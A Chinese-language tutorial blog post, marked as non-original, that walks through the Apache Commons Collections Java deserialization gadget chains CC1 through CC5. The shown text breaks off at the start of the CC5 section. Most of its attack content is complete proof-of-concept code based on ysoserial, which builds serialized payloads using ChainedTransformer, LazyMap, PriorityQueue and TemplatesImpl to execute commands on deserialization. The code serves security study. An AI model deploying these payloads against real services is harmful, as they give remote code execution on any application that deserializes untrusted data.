CCchain1-7

非原创

原文JAVA安全-学习路线指南(持续更新) - Erosion2020 - 博客园

CC1

需要的环境:JDK1.7(7u80)、commons-collections(3.x 4.x均可这里使用3.2版本)

CC1链利用了 Apache Commons Collections 中的反序列化漏洞。攻击者通常会构造一个链式对象,其中一个对象会调用另一个对象的方法,最终通过调用一些不安全的方法来执行恶意操作

Transformer

Transformer 是 Apache Commons Collections 库中的一个核心接口,用于在 Java 中实现对象转换的功能。它通常与其他一些类一起使用,例如 ChainedTransformerInvokerTransformerConstantTransformer,来构造复杂的反序列化攻击链

在反序列化漏洞利用中,Transformer 主要用于创建对象链,最终实现执行恶意操作的目标

Transformer 是一个简单的接口,它定义了一个通用的方法 transform(),用于将输入对象转换成输出对象

基本形式如下:

1
2
3
public interface Transformer {
Object transform(Object var1);
}

ConstantTransformer

ConstantTransformer 类实现了 Transformer 接口,其作用是将所有输入的对象转换为一个常量对象

它通常用于在对象链中生成固定的返回值:

1
2
3
4
5
6
7
8
9
10
11
public class ConstantTransformer implements Transformer {
private final Object constant;

public ConstantTransformer(Object constant) {
this.constant = constant;
}

public Object transform(Object input) {
return constant;
}
}

在反序列化漏洞的利用中,ConstantTransformer 经常被用来 将对象转换为某个固定的对象

例如,它可以将任何传入的对象转换为一个 Runtime 类的实例,方便后续链式调用 exec() 方法来执行恶意命令

InvokerTransformer

InvokerTransformer 是一个非常重要的实现类,它允许调用某个对象的方法并返回结果

它接受方法名和方法参数类型,并执行该方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class InvokerTransformer implements Transformer {
private final String methodName;
private final Class[] paramTypes;
private final Object[] args;

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
}

// 这个方法中的反射是重点
public Object transform(Object input) {
......
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
......
}
}

在反序列化漏洞中,InvokerTransformer 允许攻击者通过构造恶意链来调用目标方法

例如,可以使用 InvokerTransformer 调用 Runtime.getRuntime().exec() 来执行恶意命令

ChainedTransformer

ChainedTransformer 是一个允许将多个 Transformer 链接起来按顺序执行的类

它接收一个 Transformer 数组,并依次将输入对象传递给每个 Transformer,直到返回最终的转换结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ChainedTransformer implements Transformer {
private final Transformer[] transformers;

public ChainedTransformer(Transformer[] transformers) {
this.transformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}

ChainedTransformer 在反序列化漏洞利用中非常重要,因为它允许攻击者构建一条对象链,每个链环执行特定的恶意操作,最终实现目标操作

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class CommonsCollections1 {
static String serialFileName = "commons-collections1.ser";

public static void main(String[] args) throws Exception {
cc1bySerial();
verify();
}
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Transformer chain = (Transformer) ois.readObject();
chain.transform(1);
}

public static void cc1bySerial() throws Exception {
String execArgs = "calc";

// 这一段是ysoserial中的CommonsCollections代码
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };

// 下边是自己加的代码,是为了调试
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);

FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(transformerChain);
oos.flush();
oos.close();
fos.close();
}
}

因为 Runtime.getRuntime() 是一个 Runtime 类下的一个静态方法,无法通过 Transformer 中的反射方法直接创建实例,所以只能写成下边这样的变种代码:

1
2
3
4
5
6
Transformer[] transformer_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

新增类:AbstractMapDecorator

AbstractMapDecorator 是 Apache Commons Collections 中的一个类,它实现了 Map 接口,并且提供了一个装饰器模式的实现,用来装饰一个已有的 Map 实例

在反序列化漏洞中,AbstractMapDecorator 用来构建复杂的 Map 装饰器,与其他类一起使用,配合 LazyMapChainedTransformer 等类,构建出恶意的链

AbstractMapDecorator 是一个抽象类,它实际上并不直接操作 Map,而是通过持有一个 Map 实例,并对该实例的方法进行委托(delegation)和扩展,来实现装饰器模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public abstract class AbstractMapDecorator<K, V> implements Map<K, V> {
protected final Map<K, V> decorated;

protected AbstractMapDecorator(Map<K, V> map) {
this.decorated = map;
}

// 接口方法实现,通过委托给装饰的 Map
public V put(K key, V value) {
return decorated.put(key, value);
}

public V get(Object key) {
return decorated.get(key);
}

public Set<Map.Entry<K, V>> entrySet() {
return decorated.entrySet();
}

// 其他 Map 接口方法,通常通过委托实现
}

decorated:这是 AbstractMapDecorator 维护的实际 Map 对象。所有的方法调用都会委托给这个 decoratedMap 实例,AbstractMapDecorator 只是提供了一个框架

AbstractMapDecorator 有多个实现类,如:

  • LazyMap/LazyMapDecorator
  • TiedMapEntry/TiedMapEntryDecorator
  • MapEntry/MapEntryDecorator

新增类:LazyMap

LazyMapCommons Collections 中的一个集合类,在反序列化攻击中,LazyMap 通常用来延迟触发恶意操作,而不是在创建对象时立即执行,这有助于绕过一些检查或避免直接触发攻击

懒加载LazyMap 在访问某个键时,不会立即返回存储的值,而是通过 Transformer 动态生成。这个过程是懒加载的,只有在访问 get() 方法时才会触发

触发攻击链:由于 LazyMap 能够在访问键时执行 Transformer,它被广泛用于反序列化攻击中,用来在 get() 方法中触发代码执行链(如调用 Runtime.getRuntime().exec() 执行命令)

新增类:ProxyInvocationHandler

ProxyInvocationHandler 是 Java 动态代理的核心组件,在反序列化链中也经常用来实现一些动态行为:

  1. ProxyProxy 类用于创建一个代理实例,代理对象能够调用指定的 InvocationHandler 进行实际的调用。在反序列化链中,Proxy 可能用来替代一个正常的对象,以触发代理调用的执行
  2. InvocationHandler:每当 Proxy 对象的方法被调用时,实际的处理逻辑会交由 InvocationHandler 中的 invoke() 方法来处理。在反序列化攻击链中,InvocationHandler 可以被设置成执行危险操作,比如执行外部命令或加载恶意类

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static void cc1bySerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };

Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 首先通过反射获取 AnnotationInvocationHandler 类的构造函数,并且确保这个构造函数可以被访问。然后通过类名加载 AnnotationInvocationHandler 类,获取该类的第一个构造函数。由于 AnnotationInvocationHandler 类的构造函数可能是私有的,调用 setAccessible(true) 可以让我们绕过 Java 的访问控制机制,允许通过反射创建其实例。
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
// 使用反射创建一个 AnnotationInvocationHandler 的实例,并将 Target.class 和 lazyMap 作为构造函数的参数传入,其中 Documented.class 是 AnnotationInvocationHandler 的第一个参数(其实用什么都行,找任意一个有属性的注解都可以),lazyMap 是第二个参数。得到的handler是一个实现了 InvocationHandler 接口的实例,用于处理方法调用。此时,handler可以通过 lazyMap 进行一些动态行为处理,比如懒加载或代理。
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
// 通过 Proxy.newProxyInstance() 创建 LazyMap 的动态代理实例,代理对象会将方法调用委托给我们之前创建的 handler。
// LazyMap.class.getClassLoader():指定代理类的类加载器为 LazyMap 的类加载器。
// LazyMap.class.getInterfaces():指定代理类需要实现的接口,这里是 LazyMap 接口。
// handler:指定一个 InvocationHandler,这个 handler 会拦截对 LazyMap 代理实例的方法调用并执行自定义的逻辑。
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
// 再次使用反射,创建一个新的 AnnotationInvocationHandler 实例,并将 Documented.class 和 mapProxy 作为构造函数的参数,mapProxy 是上一步创建的 LazyMap 的动态代理对象,在这里作为参数传递给 AnnotationInvocationHandler,所以 AnnotationInvocationHandler 会被赋予一个处理懒加载行为的代理对象。
// 这意味着 AnnotationInvocationHandler 现在会在某些方法调用时与 mapProxy 交互,而 mapProxy 的方法调用会被委托给我们提供的 handler,后者在内部可以处理懒加载或其他定制的行为。
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(invocationHandler);
oos.flush();
oos.close();
fos.close();
}

CC2

需要的环境:以 JDK8 版本为准、commons-collections4(4.0 以ysoserial给的版本为准)、javassist(3.12.1.GA)

这里只记录原始的POC和新的ClassPoolPOC

PriorityQueue

TransformingComparatororg.apache.commons.collections4.comparators 包中的一个比较器的装饰器类,这个类重写了 compare 方法,而 compare 方法中调用了 Transformertransform 方法,而CC链的最终目的都是为了调用 TransfromerConstantTransformer InvokerTransformer 这类的,所以可以配合起来触发攻击链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.apache.commons.collections4.comparators;
......
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private static final long serialVersionUID = 3456940356043606220L;
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
......
// 重点
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
......
}

Java中的优先权队列的一些重要代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// 往队列中添加数据
public boolean add(E e) {
return offer(e);
}

public boolean offer(E e) {
...
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

private void siftUp(int k, E x) {
if (comparator != null)
// 重点关注这个方法
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
// 使用比较器来调整元素位置
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
// 加入多个元素时,调用heapify,heapify可以把所有元素的顺序都调整好
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
// 关键点在于调用了comparator的compore方法
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

将PQ中的 compare 方法通过 TransformingComparator 来创建,就可以获得以下 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static void main2() throws Exception {
Transformer[] transformer_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformer_exec);

PriorityQueue queue = new PriorityQueue();

queue.add(1);
queue.add(2);

Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
// 使用TransformingComparator获取到一个能执行调用链代码的比较器
TransformingComparator transformingComparator = new TransformingComparator(chain);
// 通过反射将比较器设置到queue中
comparator.set(queue, transformingComparator);

FileOutputStream fos = new FileOutputStream(fileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(queue);
oos.flush();
oos.close();
}

public static void verify() throws Exception {
FileInputStream fis = new FileInputStream(fileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = (Object) ois.readObject();
}

其调用过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// PriorityQueue.readObject
private void readObject(java.io.ObjectInputStream s)
...
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
// 由于compare被覆盖,这里的compare会调用到TransformingComparator.compare
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
// 在TransformingComparator.compare中触发调用链代码的transform方法,从而执行我们想要的逻辑
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PriorityQueue.readObject
-> .heapify
-> .siftDown
-> .siftDownUsingComparator
-> .compare

-> TransformingComparator.compare
-> ChainedTransformer.transform()
-> ConstantTransformer.transform()

-> InvokerTransformer.transform()
·Method.invoke()
·Class.getMethod()
-> InvokerTransformer.transform()
·Method.invoke()
·Runtime.getRuntime()
-> InvokerTransformer.transform()
·Method.invoke()
·Runtime.exec()

ClassPool

ClassPooljavassist 库中的一个核心类,它提供了一个管理和操作字节码的机制

在 Java 反序列化漏洞利用中,ClassPool 主要用于动态生成、修改和加载字节码

ClassPool 在 CC2 攻击链中的作用是生成恶意的字节码(如构造恶意的 TemplatesImpl 或其他类),并通过反序列化漏洞将它们加载到内存中,最终执行恶意代码。攻击者可以利用 ClassPool 来生成一个包含恶意静态代码块的类,在类加载时自动触发恶意操作

ClassPool:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import javassist.*;

public class JavassistExample {
public static void main(String[] args) throws Exception {
// 创建一个 ClassPool 对象
ClassPool pool = ClassPool.getDefault();
// 创建一个新的 CtClass(相当于 Java 类)
CtClass ctClass = pool.makeClass("com.example.MyClass");
// 添加一个方法
CtMethod ctMethod = CtNewMethod.make(
"public void sayHello() { System.out.println(\"Hello from Javassist!\"); }",
ctClass);
String construtorCMD = "System.out.println(\"Hello 构造方法\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.addMethod(ctMethod);
// 转换为 Java 类并加载
Class<?> clazz = ctClass.toClass();
// 在调用newInstance时,会触发构造函数中的逻辑,输出"Hello 构造方法"
Object instance = clazz.newInstance();
// 调用sayHello方法,会输出"Hello from Javassist!"
clazz.getMethod("sayHello").invoke(instance);
}
}

ysoserialPOC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
public class CommonsCollections2 {
static String serialFileName = "commons-collections2.ser";

public static void main(String[] args) throws Exception {
cc2byYsoSerial();
verify();
}

public static void verify() throws Exception {
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}

public static void cc2byYsoSerial() throws Exception {

String executeCode = "Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("ysoserial.Evil");
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
evil.makeClassInitializer().insertAfter(executeCode);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
evil.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(AbstractTranslet.class.getName());
evil.setSuperclass(superC);

final byte[] classBytes = evil.toBytecode();
byte[][] trueclassbyte = new byte[][]{classBytes};

Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, trueclassbyte);

Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Pwnr");

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer, "newTransformer");

Field queueField = queue.getClass().getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = new Object[]{templates,1};
queueField.set(queue,queueArray);

FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(queue);
oos.flush();
oos.close();
}
}

CC3

涉及到的版本:JDK1.7(7u80)、commons-collections(3.x 4.x均可这里使用3.2版本)、javassist(3.12.1.GA)

CC3 攻击链的关键在于利用 TemplatesChainedTransformerConstantTransformerInstantiateTransformer类来形成一系列的反射调用,最终触发恶意类的加载或执行

新涉及到的类:TrAXFilter

TrAXFilter 类是 Java 中 XML 处理相关的一个类,属于 Java XML API 的一部分。它主要用于过滤和处理 XML 数据流。TrAXFilter 实现了 javax.xml.transform.sax.SAXResult 接口,提供了对 XML 数据流的接收、处理和转换能力。因为它的构造函数涉及到了 Templates 类对象,并且其操作可以被利用来执行恶意代码

TrAXFilter 的构造函数需要传入 Templates 对象,而 Templates 可以携带恶意字节码

相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class TrAXFilter extends XMLFilterImpl {
private Templates _templates;
private TransformerImpl _transformer;
private TransformerHandlerImpl _transformerHandler;
private boolean _overrideDefaultParser;
// 构造函数接收一个Templates参数
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
// 执行templates的newTransformer方法,而newTransformer就是CC2链中提到的最终执行恶意代码的逻辑
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}
}

有了 TrAXFilter ,接下来就是看怎么实例化 TrAXFilter,除了像之前一样利用 InvokeTransformerCommons Collections 还提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法实际上接收一个 Class 类型的对象,通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class InstantiateTransformer implements Transformer, Serializable {
private final Class[] iParamTypes;
private final Object[] iArgs;

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
......
// 获取input的Class对象的构造方法,并调用构造方法创建实例对象
// 如果input=TrAXFilter.class,iParamTypes=Templates.class。则最终就能调用到TrAXFilter(Templates templates)
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
......
}
}

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
public class CommonsCollections3 {
static String serialFileName = "commons-collections3.ser";

public static void main(String[] args) throws Exception {
cc3byYsoSerial();
verify();
}

public static void verify() throws Exception {
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}

public static void cc3byYsoSerial() throws Exception {

String executeCode = "Runtime.getRuntime().exec(\"cmd /c start\");";
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("ysoserial.Evil");

evil.makeClassInitializer().insertAfter(executeCode);

evil.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(AbstractTranslet.class.getName());
evil.setSuperclass(superC);

final byte[] classBytes = evil.toBytecode();
byte[][] trueclassbyte = new byte[][]{classBytes};

Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, trueclassbyte);

Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Pwnr");

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

// 新增类
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templates } )};

Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);

// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);

FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(invocationHandler);
oos.flush();
oos.close();
fos.close();
}
}

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
ObjectInputStream.readObject()
-> AnnotationInvocationHandler.readObject()
-> Map(Proxy).entrySet()
-> AnnotationInvocationHandler.invoke()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform() TrAXFilter
-> InstantiateTransformer.transform() Templates
-> TrAXFilter() Templates
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
......

CC4

需要的环境:以本地的JDK8版本为准、commons-collections4(4.0 以ysoserial给的版本为准)、javassist(3.12.1.GA)

CC4 是 CC2+CC3 的一个变种,用 PriorityQueueTransformingComparator 触发 ChainedTransformer,再利用 InstantiateTransformer 实例化 TemplatesImpl

主要核心还是CC2,只是最后的构造的 payload 触发从 InvokeTranformer 变成了 InstantiateTransformer ,从而使得 Templates 构造方法能够被触发最终触发恶意代码

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections4 {

static String serialFileName = "commons-collections4.ser";

public static void main(String[] args) throws Exception {
verify();
}

public static void verify() throws Exception {
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}

public static void cc4byYsoSerial() throws Exception {

String executeCode = "Runtime.getRuntime().exec(\"cmd /c start\");";
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("ysoserial.Evil");

evil.makeClassInitializer().insertAfter(executeCode);

evil.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(AbstractTranslet.class.getName());
evil.setSuperclass(superC);

final byte[] classBytes = evil.toBytecode();
byte[][] trueclassbyte = new byte[][]{classBytes};

Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, trueclassbyte);

Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Pwnr");

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());


ConstantTransformer constant = new ConstantTransformer(String.class);

Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);


Field iParamTypes = instantiate.getClass().getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
paramTypes = (Class[])iParamTypes.get(instantiate);
Field iArgs = instantiate.getClass().getDeclaredField("iArgs");
iArgs.setAccessible(true);
args = (Object[])iArgs.get(instantiate);

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

// CC2 的 PQ
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);

Field iConstant = constant.getClass().getDeclaredField("iConstant");
iConstant.setAccessible(true);
iConstant.set(constant, TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;

FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(queue);
oos.flush();
oos.close();
}
}

CC5

CC5是 CC1 的一个变种,CC1在JDK1.8之后对 AnnotationInvocationHandler 进行了修复,使得攻击链不能被正常利用,在CC5中使用了 TiedMapEntry 以及 BadAttributeValueExpException 来完成攻击链的触发

新增的类:TiedMapEntry

TiedMapEntryCommons Collections 中的一个类,它主要用于将一个 Map 的键值对与其他对象绑定起来,形成一个 “绑定” 关系

这个类允许 Map 条目与附加的对象(比如某些回调函数或特殊处理对象)一起存储

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;

public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
......
public Object getKey() {
return this.key;
}

// 把Map变成一个LazyMap -> 会触发LazyMap的get -> 触发transformer
public Object getValue() {
return this.map.get(this.key);
}
// action0: 调用了getValue方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}

BadAttributeValueExpException

